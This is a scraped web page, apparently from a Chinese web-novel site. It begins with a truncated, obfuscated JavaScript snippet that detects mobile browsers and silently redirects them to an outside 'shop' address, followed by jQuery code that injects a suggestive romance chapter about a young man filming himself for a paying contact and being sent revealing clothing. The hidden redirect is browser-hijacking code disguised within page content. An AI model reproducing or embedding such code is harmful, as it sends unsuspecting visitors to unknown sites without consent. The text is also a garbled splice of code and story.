d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496896|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机对面不是老板,而是健身教练。 “你上次那个箱子,我看到标签了,里面装的都是衣服。”岑唯说。 “嗯,我决定改行去批发服装。”不看别人眼睛的时候,宁桑还是很能说谎的。 岑唯笑了起来:“需要我赞助吗?” “暂时不用。” “那……什么时候要帮忙了,得和我说,一定。”岑唯语气认真了些。 “嗯。” “拉个勾。”岑唯按着宁桑的肩膀,让他转了个身,朝他伸出手。 “你是小学生吗?”宁桑嘴上不耐烦,还是很乖地勾住岑唯的尾指晃了晃。 “我可比你大五岁呢。”岑唯笑着说。 宁桑不和他争论年龄,他回了楼下,给自己洗了个水蜜桃。 看在那三万块的份上,宁桑把手机架好,点开了视频录制。 “我吃个桃子,然后就去做饭。”宁桑说完,张口咬下了桃肉。 桃子是脆的,很多汁。 宁桑很懒,不是别人洗好切好的水果他不吃,他没有预料到一口咬下去,能溢出来这么多的汁水。 黏腻的果汁顺着他的手指往下流,宁桑下意识去舔掉。 “挺好吃的。”阻止汁水继续流后,宁桑又舔了舔嘴唇,“甜。” 他一口一口吃完了桃子,然后再擦干手指,才结束了视频录制。 把视频发给了0920,宁桑去了厨房做饭。 等最后一道菜熟的时候,宁桑拿起手机看了眼,想知道今天0920要让他穿什么衣服。 衣柜里就没几件正常衣服,他其实不是很想看。 不想看的心理,体现在他磨磨蹭蹭的动作上。 聊天框有三个红点,宁桑忽略了,他打开微博,想看看徐骁最近在做什么。 宁桑关注了一个徐骁的资讯博,资讯博最近更新的都是关于电视剧电影的宣传,没有多少和徐骁本人有关的。 进组拍戏了? 宁桑有点不爽。 这人还挺勤奋的,不是在拍戏,就是在拍戏的路上。 这样一来,要怎么才能让徐骁不痛快呢? 宁桑几乎没做过坏事,在这方面没有什么灵感。 要不等他下次线下活动,跑去现场拿个大喇叭说他其实是阳/痿好了。 就是有被抓起来的风险,八成还得连累岑唯去捞他。 宁桑才不觉得自己在造谣,徐骁这么多年就没谈过恋爱,吻戏也不拍,谁知道他是不是有什么隐疾。 看了几条徐骁的宣传视频后,宁桑撇撇嘴,打开了和0920的聊天框。 0920:水果可以切成块吃。 0920:晚上穿这套。 0920:[图片] 宁桑点开那张图片。 是条吊带睡裙,和普通睡裙不同的是,小腹位置只有半透明的纱。 如果说徐骁只是普通的阳/痿,那0920肯定是那方面障碍到一定程度,成变态了。 宁桑红着脸颊,一脸不爽打开衣柜找裙子。 他东西塞得有点乱,拽出裙子时,一个小袋子同时掉了出来。 袋子是磨砂的,看不到里面的东西。 宁桑以为是什么饰品,随手拆开。 然后看到了一对小巧的夹子,夹子底下坠着两枚铃铛。